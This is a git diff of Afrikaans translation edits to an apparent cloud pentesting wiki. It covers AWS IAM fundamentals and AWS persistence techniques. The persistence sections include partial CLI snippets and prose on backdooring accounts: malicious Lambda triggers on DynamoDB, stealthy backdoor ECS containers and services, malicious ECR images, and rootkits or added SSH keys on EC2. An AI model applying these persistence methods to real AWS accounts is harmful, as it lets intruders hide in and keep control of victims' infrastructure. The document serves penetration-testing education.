AWS skep om **die persoon of toepassing** wat dit gebruik om **met AWS te kommunikeer** te **verteenwoordig**. 'n Gebruiker in AWS bestaan uit 'n naam en geloofsbriewe (wagwoord en tot twee toegang sleutels). -Wanneer jy 'n IAM gebruiker skep, gee jy dit **toestemmings** deur dit 'n **lid van 'n gebruikersgroep** te maak wat toepaslike toestemming beleide het (aanbeveel), of deur **beleide direk aan die gebruiker te heg**. +Wanneer jy 'n IAM gebruiker skep, gee jy dit **regte** deur dit 'n **lid van 'n gebruikersgroep** te maak wat toepaslike regte beleid aanheg (aanbeveel), of deur **regte direk aan die gebruiker te heg**. Gebruikers kan **MFA geaktiveer hê om in te teken** deur die konsole. API tokens van MFA geaktiveerde gebruikers is nie deur MFA beskerm nie. As jy wil **die toegang van 'n gebruiker se API sleutels met MFA beperk**, moet jy in die beleid aandui dat om sekere aksies uit te voer, MFA teenwoordig moet wees (voorbeeld [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI - **Toegang Sleutel ID**: 20 ewekansige hoofletters alfanumeriese karakters soos AKHDNAPO86BSHKDIRYT -- **Geheime toegang sleutel ID**: 40 ewekansige hoë en lae letters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Dit is nie moontlik om verlore geheime toegang sleutel ID's te herstel nie). +- **Geheime toegang sleutel ID**: 40 ewekansige groot en klein letters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Dit is nie moontlik om verlore geheime toegang sleutel ID's te herstel nie). Wanneer jy die **Toegang Sleutel** moet **verander**, is dit die proses wat jy moet volg:\ &#xNAN;_Create 'n nuwe toegang sleutel -> Pas die nuwe sleutel toe op stelsel/toepassing -> merk oorspronklike een as inaktief -> Toets en verifieer dat die nuwe toegang sleutel werk -> Verwyder ou toegang sleutel_ -### MFA - Multi Faktor Verifikasie +### MFA - Multi-Faktor Verifikasie -Dit word gebruik om 'n **addisionele faktor vir verifikasie** te skep benewens jou bestaande metodes, soos wagwoord, en skep dus 'n multi-faktor vlak van verifikasie.\ -Jy kan 'n **gratis virtuele toepassing of 'n fisiese toestel** gebruik. Jy kan toepassings soos google verifikasie gratis gebruik om 'n MFA in AWS te aktiveer. +Dit word gebruik om 'n **addisionele faktor vir verifikasie** te **skep** benewens jou bestaande metodes, soos wagwoord, en skep dus 'n multi-faktor vlak van verifikasie.\ +Jy kan 'n **gratis virtuele toepassing of 'n fisiese toestel** gebruik. Jy kan toepassings soos Google Authenticator gratis gebruik om 'n MFA in AWS te aktiveer. Beleide met MFA voorwaardes kan aan die volgende geheg word: @@ -125,35 +125,35 @@ Beleide met MFA voorwaardes kan aan die volgende geheg word: - 'n hulpbron soos 'n Amazon S3 emmer, Amazon SQS tou, of Amazon SNS onderwerp - Die vertrouensbeleid van 'n IAM rol wat deur 'n gebruiker aanvaar kan word -As jy 'n hulpbron wil **toegang via CLI** wat **MFA nagaan**, moet jy **`GetSessionToken`** aanroep. Dit sal vir jou 'n token gee met inligting oor MFA.\ +As jy 'n hulpbron wat **MFA nagaan** via CLI wil **toegang**, moet jy **`GetSessionToken`** aanroep. Dit sal vir jou 'n token gee met inligting oor MFA.\ Let daarop dat **`AssumeRole` geloofsbriewe nie hierdie inligting bevat nie**. ```bash aws sts get-session-token --serial-number --token-code ``` -As [**hier genoem**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), daar is 'n baie verskillende gevalle waar **MFA nie gebruik kan word** nie. +Soos [**hier genoem**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), is daar 'n baie verskillende gevalle waar **MFA nie gebruik kan word** nie. ### [IAM gebruikersgroepe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -'n IAM [gebruikersgroep](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is 'n manier om **beleide aan verskeie gebruikers** op een slag te **koppel**, wat dit makliker kan maak om die toestemmings vir daardie gebruikers te bestuur. **Rol en groepe kan nie deel wees van 'n groep** nie. +'n IAM [gebruikersgroep](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is 'n manier om **beleide aan verskeie gebruikers** op een slag te koppel, wat dit makliker kan maak om die toestemmings vir daardie gebruikers te bestuur. **Rol en groepe kan nie deel wees van 'n groep** nie. Jy kan 'n **identiteitsgebaseerde beleid aan 'n gebruikersgroep** koppel sodat al die **gebruikers** in die gebruikersgroep **die beleid se toestemmings ontvang**. Jy **kan nie** 'n **gebruikersgroep** as 'n **`Principal`** in 'n **beleid** identifiseer (soos 'n hulpbron-gebaseerde beleid) nie, omdat groepe met toestemmings verband hou, nie verifikasie nie, en principals is geverifieerde IAM entiteite. Hier is 'n paar belangrike eienskappe van gebruikersgroepe: -- 'n gebruikers **groep** kan **baie gebruikers** **bevat**, en 'n **gebruiker** kan **tot verskeie groepe behoort**. +- 'n gebruikers **groep** kan **baie gebruikers** bevat, en 'n **gebruiker** kan **tot verskeie groepe behoort**. - **Gebruikersgroepe kan nie geneste** wees nie; hulle kan slegs gebruikers bevat, nie ander gebruikersgroepe nie. - Daar is **geen standaard gebruikersgroep wat outomaties al die gebruikers in die AWS-rekening insluit** nie. As jy 'n gebruikersgroep soos dit wil hê, moet jy dit skep en elke nuwe gebruiker daaraan toewys. - Die aantal en grootte van IAM hulpbronne in 'n AWS-rekening, soos die aantal groepe, en die aantal groepe waarvan 'n gebruiker 'n lid kan wees, is beperk. Vir meer inligting, sien [IAM en AWS STS kwotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [IAM rolle](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -'n IAM **rol** is baie **soortgelyk** aan 'n **gebruiker**, in die sin dat dit 'n **identiteit met toestemmingbeleide is wat bepaal wat** dit kan en nie kan doen in AWS nie. egter, 'n rol **het nie enige geloofsbriewe** (wagwoord of toegang sleutels) wat daarmee geassosieer is nie. In plaas daarvan om uniek aan een persoon geassosieer te wees, is 'n rol bedoel om **aangenome te word deur enigeen wat dit nodig het (en genoeg perms het)**. 'n **IAM gebruiker kan 'n rol aanvaar om tydelik** verskillende toestemmings vir 'n spesifieke taak aan te neem. 'n rol kan **toegeken word aan 'n** [**gefedereerde gebruiker**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) wat aanmeld deur 'n eksterne identiteitsverskaffer te gebruik in plaas van IAM. +'n IAM **rol** is baie **soortgelyk** aan 'n **gebruiker**, in die sin dat dit 'n **identiteit met toestemmingbeleide is wat bepaal wat** dit kan en nie kan doen in AWS nie. egter, 'n rol **het nie enige geloofsbriewe** (wagwoord of toegang sleutels) wat daarmee geassosieer word nie. In plaas daarvan om uniek aan een persoon geassosieer te wees, is 'n rol bedoel om **aangenome te word deur enigiemand wat dit nodig het (en genoeg perms het)**. 'n **IAM gebruiker kan 'n rol aanvaar om tydelik** verskillende toestemmings vir 'n spesifieke taak aan te neem. 'n rol kan **toegeken word aan 'n** [**federated gebruiker**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) wat aanmeld deur 'n eksterne identiteitsverskaffer te gebruik in plaas van IAM. 'n IAM rol bestaan uit **twee tipes beleide**: 'n **vertrouensbeleid**, wat nie leeg kan wees nie, wat **definieer wie die rol kan aanvaar**, en 'n **toestemmingsbeleid**, wat nie leeg kan wees nie, wat **definieer wat dit kan toegang**. -#### AWS Sekuriteits Token Diens (STS) +#### AWS Security Token Service (STS) -AWS Sekuriteits Token Diens (STS) is 'n webdiens wat die **uitreiking van tydelike, beperkte bevoegdhede** fasiliteer. Dit is spesifiek ontwerp vir: +AWS Security Token Service (STS) is 'n webdiens wat die **uitreiking van tydelike, beperkte bevoegdhede** fasiliteer. Dit is spesifiek ontwerp vir: ### [Tydelike geloofsbriewe in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) @@ -165,11 +165,11 @@ AWS Sekuriteits Token Diens (STS) is 'n webdiens wat die **uitreiking van tydeli Word gebruik om toestemmings toe te ken. Daar is 2 tipes: -- AWS bestuurde beleide (voorgeskrewe deur AWS) -- Klant bestuurde beleide: Geconfigureer deur jou. Jy kan beleide skep gebaseer op AWS bestuurde beleide (een van hulle wysig en jou eie skep), deur die beleidgenerator te gebruik (n GUI-weergave wat jou help om toestemmings toe te ken en te weier) of jou eie te skryf. +- AWS bestuurde beleide (vooraf geconfigureer deur AWS) +- Klant bestuurde beleide: Geconfigureer deur jou. Jy kan beleide skep gebaseer op AWS bestuurde beleide (een van hulle wysig en jou eie skep), met behulp van die beleidgenerator (n GUI-weergawes wat jou help om toestemmings toe te ken en te weier) of jou eie te skryf. Deur **standaard toegang** is **weggeneem**, toegang sal toegestaan word as 'n eksplisiete rol gespesifiseer is.\ -As **enkele "Weier" bestaan, sal dit die "Toelaat" oorskry**, behalwe vir versoeke wat die AWS-rekening se wortel sekuriteitsgeloofsbriewe gebruik (wat standaard toegelaat word). +As **enkele "Deny" bestaan, sal dit die "Allow" oorskry**, behalwe vir versoeke wat die AWS-rekening se wortel sekuriteitsgeloofsbriewe gebruik (wat standaard toegelaat word). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -208,7 +208,7 @@ As 'n hoof nie 'n eksplisiete weiering op hulle het nie, en 'n hulpbronbeleid hu ### IAM Grense -IAM grense kan gebruik word om **die toestemmings wat 'n gebruiker of rol toegang tot moet hê, te beperk**. Op hierdie manier, selfs al word 'n ander stel toestemmings aan die gebruiker toegeken deur 'n **ander beleid**, sal die operasie **misluk** as hy probeer om hulle te gebruik. +IAM grense kan gebruik word om **die toestemmings wat 'n gebruiker of rol toegang tot moet hê, te beperk**. Op hierdie manier, selfs al word 'n ander stel toestemmings aan die gebruiker deur 'n **ander beleid** toegeken, sal die operasie **misluk** as hy probeer om hulle te gebruik. 'n Grens is net 'n beleid wat aan 'n gebruiker geheg is wat **die maksimum vlak van toestemmings wat die gebruiker of rol kan hê, aandui**. So, **selfs al het die gebruiker Administrateur toegang**, as die grens aandui dat hy slegs S· emmers kan lees, is dit die maksimum wat hy kan doen. @@ -226,29 +226,35 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Note dat **AWS dalk sessiebeleide aan sessies kan voeg** wat gegenereer gaan word weens derde redes. Byvoorbeeld, in [nie-geverifieerde cognito aangeneemde rolle](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) sal AWS standaard (met verbeterde verifikasie) **sessie-akkrediteer met 'n sessiebeleid** genereer wat die dienste wat die sessie kan toegang hê, beperk [**tot die volgende lys**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Let wel dat **AWS dalk sessiebeleide aan sessies kan voeg** wat gegenereer gaan word weens derde redes. Byvoorbeeld, in [ongemagtigde cognito aangeneemde rolle](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) sal AWS standaard (met verbeterde verifikasie) **sessie-akkrediteer met 'n sessiebeleid** genereer wat die dienste wat die sessie kan toegang hê, beperk [**tot die volgende lys**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). As jy dus op 'n stadium die fout "… omdat geen sessiebeleid dit toelaat nie …" teëkom, en die rol toegang het om die aksie uit te voer, is dit omdat **daar 'n sessiebeleid is wat dit verhinder**. ### Identiteitsfederasie -Identiteitsfederasie **laat gebruikers van identiteitsverskaffers wat eksterne** is tot AWS toe om AWS-hulpbronne veilig te benader sonder om AWS-gebruikersakkrediteer van 'n geldige IAM-gebruikersrekening te verskaf.\ +Identiteitsfederasie **laat gebruikers van identiteitsverskaffers wat eksterne** tot AWS is, toe om AWS-hulpbronne veilig te benader sonder om AWS-gebruikersakkrediteer van 'n geldige IAM-gebruikersrekening te verskaf.\ 'n Voorbeeld van 'n identiteitsverskaffer kan jou eie korporatiewe **Microsoft Active Directory** (via **SAML**) of **OpenID** dienste (soos **Google**) wees. Gefedereerde toegang sal dan die gebruikers binne dit toelaat om AWS te benader. Om hierdie vertroue te konfigureer, word 'n **IAM Identiteitsverskaffer gegenereer (SAML of OAuth)** wat die **ander platform** sal **vertrou**. Dan word ten minste een **IAM rol (wat vertrou) aan die Identiteitsverskaffer toegeken**. As 'n gebruiker van die vertroude platform AWS benader, sal hy as die genoemde rol toegang hê. +Jy sal egter gewoonlik 'n **verskillende rol wil gee, afhangende van die groep van die gebruiker** in die derdeparty platform. Dan kan verskeie **IAM rolle vertrou** die derdeparty Identiteitsverskaffer en die derdeparty platform sal die een wees wat gebruikers toelaat om een rol of die ander aan te neem. + +
+ ### IAM Identiteitsentrum AWS IAM Identiteitsentrum (opvolger van AWS Enkelteken) brei die vermoëns van AWS Identiteits- en Toegangsbestuur (IAM) uit om 'n **sentraal plek** te bied wat die **administrasie van gebruikers en hul toegang tot AWS** rekeninge en wolktoepassings saambring. -Die aanmelddomein gaan iets soos `.awsapps.com` wees. +Die aanmeld domein gaan iets soos `.awsapps.com` wees. Om gebruikers aan te meld, is daar 3 identiteitsbronne wat gebruik kan word: - Identiteitsentrum Gids: Gereelde AWS gebruikers -- Aktiewe Gids: Ondersteun verskillende konnektore +- Aktiewe Gids: Ondersteun verskillende koppelvlakke - Eksterne Identiteitsverskaffer: Alle gebruikers en groepe kom van 'n eksterne Identiteitsverskaffer (IdP) +
+ In die eenvoudigste geval van die Identiteitsentrum gids, sal die **Identiteitsentrum 'n lys van gebruikers & groepe hê** en sal in staat wees om **beleide** aan hulle toe te ken vir **enige van die rekeninge** van die organisasie. Om toegang aan 'n Identiteitsentrum gebruiker/groep tot 'n rekening te gee, sal 'n **SAML Identiteitsverskaffer wat die Identiteitsentrum vertrou, geskep word**, en 'n **rol wat die Identiteitsverskaffer met die aangeduide beleide vertrou, sal in die bestemmingsrekening geskep word**. @@ -261,15 +267,15 @@ Daarom, selfs al sien jy 2 rolle met 'n inline beleid genaamd **`AwsSSOInlinePol ### Kruisrekening Vertroue en Rolle -**'n gebruiker** (wat vertrou) kan 'n Kruisrekening Rol met sommige beleide skep en dan **'n ander gebruiker** (wat vertrou) toelaat om **sy rekening te benader** maar slegs **met die toegang wat in die nuwe rolbeleide aangedui is**. Om dit te skep, skep eenvoudig 'n nuwe Rol en kies Kruisrekening Rol. Rolle vir Kruisrekening Toegang bied twee opsies. Om toegang te bied tussen AWS rekeninge wat jy besit, en om toegang te bied tussen 'n rekening wat jy besit en 'n derdeparty AWS rekening.\ +**'n gebruiker** (wat vertrou) kan 'n Kruisrekening Rol met sommige beleide skep en dan, **'n ander gebruiker** (vertrou) toelaat om **sy rekening te benader** maar net **met die toegang wat in die nuwe rolbeleide aangedui is**. Om dit te skep, skep eenvoudig 'n nuwe Rol en kies Kruisrekening Rol. Rolle vir Kruisrekening Toegang bied twee opsies. Om toegang te bied tussen AWS rekeninge wat jy besit, en om toegang te bied tussen 'n rekening wat jy besit en 'n derdeparty AWS rekening.\ Dit word aanbeveel om **die gebruiker wat vertrou is spesifiek aan te dui en nie 'n generiese ding te plaas nie**, want anders kan ander geverifieerde gebruikers soos gefedereerde gebruikers ook hierdie vertroue misbruik. ### AWS Eenvoudige AD Nie ondersteun nie: -- Vertrouensverhoudings -- AD Admin Sentrum +- Vertrouverhoudings +- AD Administrasiesentrum - Volledige PS API ondersteuning - AD Herwinningsblik - Groep Gemanagte Diensrekeninge @@ -283,9 +289,9 @@ Die toepassing gebruik die AssumeRoleWithWebIdentity om tydelike akkrediteer te ### Ander IAM opsies - Jy kan **'n wagwoordbeleid instelling** opsies soos minimum lengte en wagwoordvereistes stel. -- Jy kan **"Akkrediteer Verslag" aflaai** met inligting oor huidige akkrediteer (soos gebruikers skeppingstyd, is wagwoord geaktiveer...). Jy kan 'n akkrediteer verslag genereer so dikwels as een keer elke **vier uur**. +- Jy kan **"Akkrediteer Verslag" aflaai** met inligting oor huidige akkrediteer (soos gebruikers skeppingstyd, is wagwoord geaktiveer ...). Jy kan 'n akkrediteer verslag genereer so dikwels as een keer elke **vier uur**. -AWS Identiteits- en Toegangsbestuur (IAM) bied **fyn-graad toegangbeheer** oor al die AWS. Met IAM kan jy spesifiseer **wie toegang het tot watter dienste en hulpbronne**, en onder watter omstandighede. Met IAM beleide bestuur jy toestemmings aan jou werksmag en stelsels om **minste-bevoegdheidstoestemmings** te verseker. +AWS Identiteits- en Toegangsbestuur (IAM) bied **fyn-granulêre toegangbeheer** oor al die AWS. Met IAM kan jy spesifiseer **wie toegang kan hê tot watter dienste en hulpbronne**, en onder watter omstandighede. Met IAM beleide bestuur jy toestemmings aan jou werksmag en stelsels om **minimale-toestemmings te verseker**. ### IAM ID Vooraf @@ -335,10 +341,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. +As jy toegang nodig het tot **verskillende AWS-rekeninge** en jou profiel toegang gegee is om **'n rol binne daardie rekeninge aan te neem**, hoef jy nie elke keer STS handmatig aan te roep nie (`aws sts assume-role --role-arn --role-session-name sessname`) en die geloofsbriewe te konfigureer nie. -You can use the `~/.aws/config` file to[ **aandui watter rolle om aan te neem**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -A config file example: +Jy kan die `~/.aws/config` lêer gebruik om[ **aan te dui watter rolle om aan te neem**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), en dan die `--profile` parameter soos gewoonlik gebruik (die `assume-role` sal op 'n deursigtige manier vir die gebruiker uitgevoer word).\ +'n Konfigurasielêer voorbeeld: ``` [profile acc2] region=eu-west-2 diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 0af0dde30..3f5021721 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -44,8 +44,8 @@ Om 'n github aksie as Identiteitsverskaffer by te voeg: ] } ``` -6. Let op in die vorige beleid hoe slegs 'n **tak** van 'n **bewaarplek** van 'n **organisasie** gemagtig was met 'n spesifieke **trigger**. -7. Die **ARN** van die **rol** wat die github aksie gaan kan **naboots**, gaan die "geheime" wees wat die github aksie moet weet, so **stoor** dit binne 'n **geheim** binne 'n **omgewing**. +6. Let op in die vorige beleid hoe slegs 'n **tak** van 'n **bewaarplek** van 'n **organisasie** geautoriseer is met 'n spesifieke **trigger**. +7. Die **ARN** van die **rol** wat die github aksie in staat gaan wees om te **verteenwoordig**, gaan die "geheime" wees wat die github aksie moet weet, so **stoor** dit binne 'n **geheim** binne 'n **omgewing**. 8. Laastens, gebruik 'n github aksie om die AWS kredensiale te konfigureer wat deur die werksvloei gebruik gaan word: ```yaml name: "test AWS Access" @@ -108,7 +108,7 @@ Dit is moontlik om **OIDC providers** in 'n **EKS** kluster te genereer deur een ] } ``` -Hierdie beleid dui korrek aan dat **slegs** die **EKS-kluster** met **id** `20C159CDF6F2349B68846BEC03BE031B` die rol kan aanvaar. Dit dui egter nie aan watter diensrekening dit kan aanvaar nie, wat beteken dat **ENIGE diensrekening met 'n webidentiteitskenmerk** in staat gaan wees om die rol te aanvaar. +Hierdie beleid dui korrek aan dat **slegs** die **EKS-kluster** met **id** `20C159CDF6F2349B68846BEC03BE031B` die rol kan aanvaar. Dit dui egter nie aan watter diensrekening dit kan aanvaar nie, wat beteken dat **ENIGE diensrekening met 'n webidentiteits-token** in staat gaan wees om die rol te **aanvaar**. Om te spesifiseer **watter diensrekening die rol moet kan aanvaar,** is dit nodig om 'n **voorwaarde** te spesifiseer waar die **diensrekeningnaam gespesifiseer word**, soos: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index b40f42c18..7701cd42f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -12,7 +12,7 @@ Vir meer inligting, gaan na: ### Hulpbronbeleid -Wysig die hulpbronbeleid van die API-gateway(s) om jouself toegang te gee tot hulle. +Wysig die hulpbronbeleid van die API gateway(s) om jouself toegang te gee tot hulle. ### Wysig Lambda Outeurs diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index 5d8dd38b5..1e4e9c291 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -33,7 +33,7 @@ Kyk hoe om hierdie aksies uit te voer in ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` -Standaard is dit gedeaktiveer: +Standaard is dit gedeaktiveer:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 7d465c3df..feef0b2df 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -12,7 +12,7 @@ Vir meer inligting, toegang: ### DynamoDB Triggers met Lambda Agterdeur -Deur gebruik te maak van DynamoDB triggers, kan 'n aanvaller 'n **stealthy agterdeur** skep deur 'n kwaadwillige Lambda-funksie met 'n tabel te assosieer. Die Lambda-funksie kan geaktiveer word wanneer 'n item bygevoeg, gewysig of verwyder word, wat die aanvaller in staat stel om arbitrêre kode binne die AWS-rekening uit te voer. +Deur gebruik te maak van DynamoDB triggers, kan 'n aanvaller 'n **stealthy agterdeur** skep deur 'n kwaadwillige Lambda-funksie met 'n tabel te assosieer. Die Lambda-funksie kan geaktiveer word wanneer 'n item bygevoeg, gewysig of verwyder word, wat die aanvaller toelaat om arbitrêre kode binne die AWS-rekening uit te voer. ```bash # Create a malicious Lambda function aws lambda create-function \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index 0e7acb9ae..c1ad3d596 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -12,9 +12,9 @@ Vir meer inligting, kyk: ### Sekuriteitsgroep Verbinding Volg Persistensie -As 'n verdediger vind dat 'n **EC2-instantie gecompromitteer is**, sal hy waarskynlik probeer om die **netwerk** van die masjien te **isoleer**. Hy kan dit doen met 'n eksplisiete **Deny NACL** (maar NACLs beïnvloed die hele subnet), of deur die **sekuriteitsgroep** te verander om **enige soort van inkomende of uitgaande** verkeer te verbied. +As 'n verdediger vind dat 'n **EC2-instantie gecompromitteer is**, sal hy waarskynlik probeer om die **netwerk** van die masjien te **isoleer**. Hy kan dit doen met 'n eksplisiete **Deny NACL** (maar NACLs beïnvloed die hele subnet), of deur die **sekuriteitsgroep** te verander om **enige soort inkomende of uitgaande** verkeer te verbied. -As die aanvaller 'n **omgekeerde shell afkomstig van die masjien** gehad het, selfs al is die SG gewysig om nie inkomende of uitgaande verkeer toe te laat nie, sal die **verbinding nie beëindig word nie** [**Sekuriteitsgroep Verbinding Volg**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +As die aanvaller 'n **omgekeerde shell afkomstig van die masjien** gehad het, selfs al is die SG gewysig om inkomende of uitgaande verkeer te verbied, sal die **verbinding nie beëindig word nie** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** ### EC2 Levensiklusbestuurder @@ -27,15 +27,15 @@ Dit is moontlik om instanties te skeduleer om daagliks, weekliks of selfs maande ### Spot Vloot Versoek -Spot-instanties is **goedkoper** as gewone instanties. 'n Aanvaller kan 'n **klein spot vlootversoek vir 5 jaar** (byvoorbeeld) begin, met **outomatiese IP** toewysing en 'n **gebruikersdata** wat na die aanvaller **stuur wanneer die spot-instantie begin** en die **IP-adres** en met 'n **hoë voorregte IAM-rol**. +Spot-instanties is **goedkoper** as gewone instanties. 'n Aanvaller kan 'n **klein spot vlootversoek vir 5 jaar** (byvoorbeeld) begin, met **outomatiese IP** toewysing en 'n **gebruikersdata** wat na die aanvaller stuur **wanneer die spot-instantie begin** en die **IP-adres** en met 'n **hoë voorregte IAM-rol**. ### Agterdeur Instanties 'n Aanvaller kan toegang tot die instanties verkry en dit agterdeur: -- Gebruik 'n tradisionele **rootkit** byvoorbeeld -- Voeg 'n nuwe **publieke SSH-sleutel** by (kyk [EC2 privesc opsies](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Agterdeur die **Gebruikersdata** +- Deur 'n tradisionele **rootkit** te gebruik +- 'n Nuwe **publieke SSH-sleutel** by te voeg (kyk [EC2 privesc opsies](../aws-privilege-escalation/aws-ec2-privesc.md)) +- Die **Gebruikersdata** agterdeur ### **Agterdeur Ontplooiing Konfigurasie** diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 02081dc0b..b639effaa 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -1,4 +1,4 @@ -# AWS - ECR Persistensie +# AWS - ECR Volharding {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Vir meer inligting, kyk: ### Versteekte Docker Beeld met Kwaadwillige Kode -'n Aanvaller kan **'n Docker beeld wat kwaadwillige kode bevat** na 'n ECR-bewaarplek op te laai en dit gebruik om volharding in die teiken AWS-rekening te handhaaf. Die aanvaller kan dan die kwaadwillige beeld na verskeie dienste binne die rekening ontplooi, soos Amazon ECS of EKS, op 'n stil manier. +'n Aanvaller kan **'n Docker beeld wat kwaadwillige kode bevat** na 'n ECR-bewaarplek oplaai en dit gebruik om volharding in die teiken AWS-rekening te handhaaf. Die aanvaller kan dan die kwaadwillige beeld na verskeie dienste binne die rekening ontplooi, soos Amazon ECS of EKS, op 'n stil manier. ### Bewaarplek Beleid @@ -68,7 +68,7 @@ aws ecr put-registry-policy --policy-text file://my-policy.json "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` -Dan pas die replikasie-konfigurasie toe: +Dan pas die replikaasiekonfigurasie toe: ```bash aws ecr put-replication-configuration \ --replication-configuration file://replication-settings.json \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 56f5f4c4e..95daab33b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -1,4 +1,4 @@ -# AWS - ECS Persistensie +# AWS - ECS Volharding {{#include ../../../banners/hacktricks-training.md}} @@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ } ]' ``` -### Backdoor Container in Existing ECS Task Definition +### Agterdeur Container in Bestaande ECS Taakdefinisie > [!NOTE] > TODO: Toets -'n Aanvaller kan 'n **stealthy backdoor container** by 'n bestaande ECS-taakdefinisie voeg wat saam met wettige houers loop. Die backdoor container kan gebruik word vir volharding en om kwaadwillige aktiwiteite uit te voer. +'n Aanvaller kan 'n **stealthy backdoor container** by 'n bestaande ECS taakdefinisie voeg wat saam met wettige containers loop. Die agterdeur container kan gebruik word vir volharding en om kwaadwillige aktiwiteite uit te voer. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ @@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition } ]' ``` -### Ondokumenteerde ECS-diens +### Ongedokumenteerde ECS-diens > [!NOTE] > TODO: Toets -'n Aanvaller kan 'n **ondokumenteerde ECS-diens** skep wat 'n kwaadwillige taak uitvoer. Deur die verlangde aantal take op 'n minimum in te stel en logging te deaktiveer, word dit moeiliker vir administrateurs om die kwaadwillige diens op te merk. +'n Aanvaller kan 'n **ongedokumenteerde ECS-diens** skep wat 'n kwaadwillige taak uitvoer. Deur die verlangde aantal take tot 'n minimum te stel en logging te deaktiveer, word dit moeiliker vir administrateurs om die kwaadwillige diens op te merk. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index b556d1ce8..6621de131 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -1,4 +1,4 @@ -# AWS - EFS Persistensie +# AWS - EFS Volharding {{#include ../../../banners/hacktricks-training.md}} @@ -12,10 +12,10 @@ Vir meer inligting, kyk: ### Wysig Hulpbronbeleid / Sekuriteitsgroepe -Deur die **hulpbronbeleid en/of sekuriteitsgroepe** te wysig, kan jy probeer om jou toegang tot die lêerstelsel 